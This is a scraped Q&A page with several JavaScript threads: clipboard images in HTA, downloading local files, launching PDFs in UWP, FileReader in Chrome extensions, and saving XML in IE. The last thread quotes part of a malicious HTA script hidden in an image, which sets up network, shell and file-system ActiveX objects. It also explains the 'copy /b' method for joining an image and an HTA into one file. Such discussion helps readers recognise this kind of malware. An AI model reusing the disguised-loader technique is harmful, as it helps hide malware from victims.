Paste image from clipboard javascript - javascript

We have a program the wants to get an image copy into the clipboard to paste into a file on the HDD using javascript/HTA.
Does anyone done something like this before? Or How can I create an image file on the HDD from the information in the clipboard?
We are already using the following for text, but it does not work for images:
clipboardData.setData("Text", 'To Copy to clipboard');
clipboardData.getData("Text"); // To copy from clipboard

You can possibly read the clipboard data in some supported browsers:
Is it possible to read the clipboard in Firefox, Safari and Chrome using Javascript?
The problem is with you storing this data on the user's hard-drive. Javascript to my knowledge will not give you access to the user's hard-drive due to security reasons. One way to get around this is to send this data to a server running a php script that will then proceed to read the data and save it to the server's local storage. This php script can be set up to return the full path which was used when saving the file. Your javascript post method can then use this returned path to load it in a browser which will prompt your browser to display the download prompt. Then the user can download the file and save it to their local drive.
It very convoluted but can work.
RE: HTA
HTA only works in IE and is not very popular so you will have some problems finding code resource for the exact tasks that you require. This is some code which I found for reading and writing files to disk
<!--
// CAREFUL -- no error checking
function readFile()
{
var fso, fileHandle, contents, yourfilename;
fso = new ActiveXObject("Scripting.FileSystemObject");
fileHandle = fso.OpenTextFile(document.editor.yourfilename.value, 1);
contents = fileHandle.ReadAll();
if (contents)
document.all("fileContents").value = contents;
fileHandle.close();
}
function writeFile()
{
var fso, fileHandle, yourfilename;
fso = new ActiveXObject("Scripting.FileSystemObject");
fileHandle = fso.CreateTextFile(document.editor.yourfilename.value, true);
fileHandle.write(document.all("fileContents").value);
fileHandle.close();
}
//-->
Then you will have to combine this code to use the window.clipboardData.getData functionality for getting the stored clipboard contents. I have never done HTA so I can't give you any help with that.

It look that is impossible to paste an image from the clipboard. We ended up using via command line an external application like Minicap ( http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Capture/MiniCap.shtml ).

Related

Copy/download temporary files

I am not an HTML/JavaScript developer. I am having to modify some legacy code written by someone who has left.
We have a Python app which acts as a local server with an HTML/JavaScript front end that can be viewed in a browser.
The Python creates a temporary cache file. I would like to give the user the option to save a copy of this temp file to a location of their choice or at least download it to the downloads directory (Windows & Linux)
I've tried adapting some of the ideas from here: https://www.delftstack.com/howto/javascript/javascript-download/
E.g.
const saveAnalysisBtn = document.getElementById("saveAnalysisBtn");
saveAnalysisBtn.addEventListener('click', saveAnalysis);
function saveAnalysis(evt) {
function download(filename) {
var element = document.createElement('a');
// hardcode temp file name just for POC
element.setAttribute('href','file://C:\\tmp\\my_temp_cache.db');
element.setAttribute('download', filename);
document.body.appendChild(element);
element.click();
//document.body.removeChild(element);
}
var filename = "output.txt";
console.log(`Call Download`);
download(filename);
}
In Firefox this gives a security error:
Security Error: Content at
http://127.0.0.1:5000/replay/fapi_15_6_udi.bin may not load or link to
file:///C:/tmp/my_temp_cache.db
Which isn't terribly surprising. (Edge & Chrome give similar errors)
Is there a way to do this? Can be in HTML or JavaScript or Python (though I would like user to see evidence of download taking place in the browser).
Maybe I'm not understanding, but it looks like we're talking about just copying a file from one local location to a user specified location. The file you want to copy is on the machine the user is using? Couldn't you just provide the location in the web page and then just go there in a file explorer, finder, or command line tool to copy it however you want? It would solve the security issue.
But if you're required to create a link, you could create a download process that zips the file up to make a file like "my_temp_cache_db.zip" (or whatever compression tool/extension works best for you), and then provide the link for that. Zip files work through browsers better than some other types of files, and the user just has to unzip it wherever it ended up.
If that's not ideal, you could create a download process that makes a copy of the file and just changes the extension to something like "txt". The user downloads that file and then has to rename it to have the right extension.

How to Launch a PDF from a UWP (Universal Windows Platform) Web Application

I've converted an existing web application (HTML5, JS, CSS, etc.) into a Windows UWP app so that (hopefully) I can distribute it via the Windows Store to Surface Hubs so it can run offline. Everything is working fine, except PDF viewing. If I open a PDF in a new window, the Edge-based browser window simply crashes. If I open an IFRAME and load PDFJS into it, that also crashes. What I'd really like to do is just hand off the PDF to the operating system so the user can view it in whatever PDF viewer they have installed.
I've found some windows-specific Javascript APIs that seem promising, but I cannot get them to work. For example:
Windows.System.Launcher.launchUriAsync(
new Windows.Foundation.Uri(
"file:///"+
Windows.ApplicationModel.Package.current.installedLocation.path
.replace(/\//g,"/")+"/app/"+url)).then(function(success) {
if (!success) {
That generates a file:// URL that I can copy into Edge and it shows the PDF, so I know the URL stuff is right. However, in the application it does nothing.
If I pass an https:// URL into that launchUriAsync function, that works. So it appears that function just doesn't like file:// URLs.
I also tried this:
Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(url).then(
function(file) { Windows.System.Launcher.launchFileAsync(file) })
That didn't work either. Again, no error. It just didn't do anything.
Any ideas of other things I could try?
-- Update --
See the accepted answer. Here is the code I ended up using. (Note that all my files are in a subfolder called "app"):
if (location.href.match(/^ms-appx:/)) {
url = url.replace(/\?.+/, "");
Windows.ApplicationModel.Package.current.installedLocation.getFileAsync(("app/" + url).replace(/\//g,"\\")).then(
function (file) {
var fn = performance.now()+url.replace(/^.+\./, ".");
file.copyAsync(Windows.Storage.ApplicationData.current.temporaryFolder,
fn).then(
function (file2) {
Windows.System.Launcher.launchFileAsync(file2)
})
});
return;
}
Turns out you have to turn the / into \ or it won't find the file. And copyAsync refuses to overwrite, so I just use performance.now to ensure I always use a new file name. (In my application, the source file names of the PDFs are auto-generated anyway.) If you wanted to keep the filename, you'd have to add a bunch of code to check whether it's already there, etc.
LaunchFileAsync is the right API to use here. You can't launch a file directly from the install directory because it is protected. You need to copy it first to a location that is accessible for the other app (e.g. your PDF viewer). Use StorageFile.CopyAsync to make a copy in the desired location.
Official SDK sample: https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples/AssociationLaunching
I just thought I'd add a variation on this answer, which combines some details from above with this info about saving a blob as a file in a JavaScript app. My case is that I have a BLOB that represents the data for an epub file, and because of the UWP content security policy, it's not possible simply to force a click on a URL created from the BLOB (that "simple" method is explicitly blocked in UWP, even though it works in Edge). Here is the code that worked for me:
// Copy BLOB to downloads folder and launch from there in Edge
// First create an empty file in the folder
Windows.Storage.DownloadsFolder.createFileAsync(filename,
Windows.Storage.CreationCollisionOption.generateUniqueName).then(
function (file) {
// Open the returned dummy file in order to copy the data to it
file.openAsync(Windows.Storage.FileAccessMode.readWrite).then(function (output) {
// Get the InputStream stream from the blob object
var input = blob.msDetachStream();
// Copy the stream from the blob to the File stream
Windows.Storage.Streams.RandomAccessStream.copyAsync(input, output).then(
function () {
output.flushAsync().done(function () {
input.close();
output.close();
Windows.System.Launcher.launchFileAsync(file);
});
});
});
});
Note that CreationCollisionOption.generateUniqueName handles the file renaming automatically, so I don't need to fiddle with performance.now() as in the answer above.
Just to add that one of the things that's so difficult about UWP app development, especially in JavaScript, is how hard it is to find coherent information. It took me hours and hours to put the above together from snippets and post replies, following false paths and incomplete MS documentation.
You will want to use the PDF APIs https://github.com/Microsoft/Windows-universal-samples/tree/master/Samples/PdfDocument/js
https://github.com/Microsoft/Windows-universal-samples/blob/master/Samples/PdfDocument/js/js/scenario1-render.js
Are you simply just trying to render a PDF file?

Upload file inside chrome extension

I need to add a browse button inside my Chrome extension. Users click it and choose a file. I then want to retrieve the file contents (bytes) and do some work on it.
I don't want to have to submit the file to a remote server and then get the response (if that's even doable from inside a Chrome extension), it should be all client-side.
Is this doable inside Chrome extensions?
You should be looking at the FileReader API.
The FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using File or Blob objects to specify the file or data to read.
A very good basic example of using this interface is in this question.
A minimal example: suppose that you have an <input type="file" id="file"> with a text file selected.
var file = document.getElementById("file").files[0];
var reader = new FileReader();
reader.onload = function(e){
console.log(e.target.result);
}
reader.readAsText(file);
If you need methods other than reading as text (i.e. binary data), see the docs.
Also, this is a good overview: Using files from web applications
Regarding your question it is totally feasible to load and process a file within an extension. I implemented it using message passing https://developer.chrome.com/docs/extensions/mv3/messaging/.
Here is an example of how you can implement it, in my case I used the input file to load an excel. This is my public repo.
https://github.com/juanmachuca95/gomeetplus

Save XML file on my machine with XMLDom object save()

I'm not able to save to the xml file on my machine.
I have noticed that node value is changed temprorily but not permanent in xml file.
P.S : This is only a simple HTML file with javascript
It is giving me an error "Permission Denied"
function viewBookDetails() {
var xmlDoc = xmlLoader("cart.xml");
//var x = xmlDoc.getElementsByTagName("dogHouse")[0];
var x = xmlDoc.documentElement;
var newel = xmlDoc.createElement("essy");
x.appendChild(newel);
alert(x.xml);
xmlDoc.save("cart.xml");
}
is it not possible to save xml file on my machine?
Thank you,
In general, browser JavaScript has no I/O API and cannot read or write to the client filesystem since that could be a security loophole. I haven't seen or used the save() method before but it looks like it's an IE specific extension to the XML DOM. If you must use it, this thread might provide the solution, the answer that worked for the OP there suggested:
I haven't proofed your code but here is something you might want to try. I am taking a shot in the dark that you are using this on a Windows OS since you are using IE and from the sound of the error. Just take your html file that you have and rename it the whatever.hta and it will then be able to write to the xml file and save.
Also, the documentation for the method says the following for when the argument is a string (as in your code snippet):
String
Specifies the file name. This must be a file name rather than a URL. The file is created, if necessary, and the contents are replaced entirely with the contents of the saved document. This mode is not intended for use from a secure client, such as Microsoft Internet Explorer.
From the forum posts (links below) that deal with the same issue, I gleaned the following:
This is an IE specific extension and so will only work in IE
There are obviously security restrictions in place so you shouldn't be able to do this 'out of the box'
One workaround that crops up often is to rename the file extension to .hta (Hypertext Application) instead of .html
I'm not sure but there might also be some workarounds by changing the permissions for the security zones your application runs in
References:
http://www.codingforums.com/showthread.php?t=25048
http://p2p.wrox.com/xml/4053-error-using-xml-save-method.html
http://www.daniweb.com/web-development/javascript-dhtml-ajax/threads/204995

Embedding Javascript Within an Image File

I've noticed a new trend in distributing potentially unsafe code where people will post an image to a server with a watermark suggesting that they change the filename to have a .HTA file extension.
I realized that .HTA was an HTML Application file, which are implicitly trusted by Microsoft's logic and can contain code to do just about anything web-based. I opened the file with my favourite text editor and to my amazement there was Javascript code within the image file!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
There is more garbled image data below the source code as well. This is just a snippet.
I'm very curious to know how they were able to add Javascript code to an image file without corrupting the image file format and making it unviewable. I presented this to some of my co-workers, and they were equally stumped.
My guess is that this is a multipart file of some sort (for which it would be perfectly fine to contain both images and script data), that maybe gets executed straight away (in a local context) because it's treated as a Hypertext Application.
For more info, we would need to see the full actual file.
The problem here is liberal file format tolerances.
The JPG interpreter is forgiving enough to ignore "corrupted" non-image data. That's how you can view a large JPG while it's still downloading. The HTA interpreter is forgiving enough to ignore all the weird "text" at the top of the file and proceed to evaluate the stuff that looks like markup and script below.
There's another post about this curious behavior here:
Can I embed an icon to a .hta file?
In it Alexandre Jasmine suggests embedding an icon in an HTA with this command line:
copy /b icon.ico+source.hta iconapp.hta
The image/script you found could have been created using this technique.
You didn't include the entire script, but what you show looks pretty scary. An HTA script with a web connection, shell and filesystem object can do whatever it wants with your local filesystem then phone home once it's done.

Categories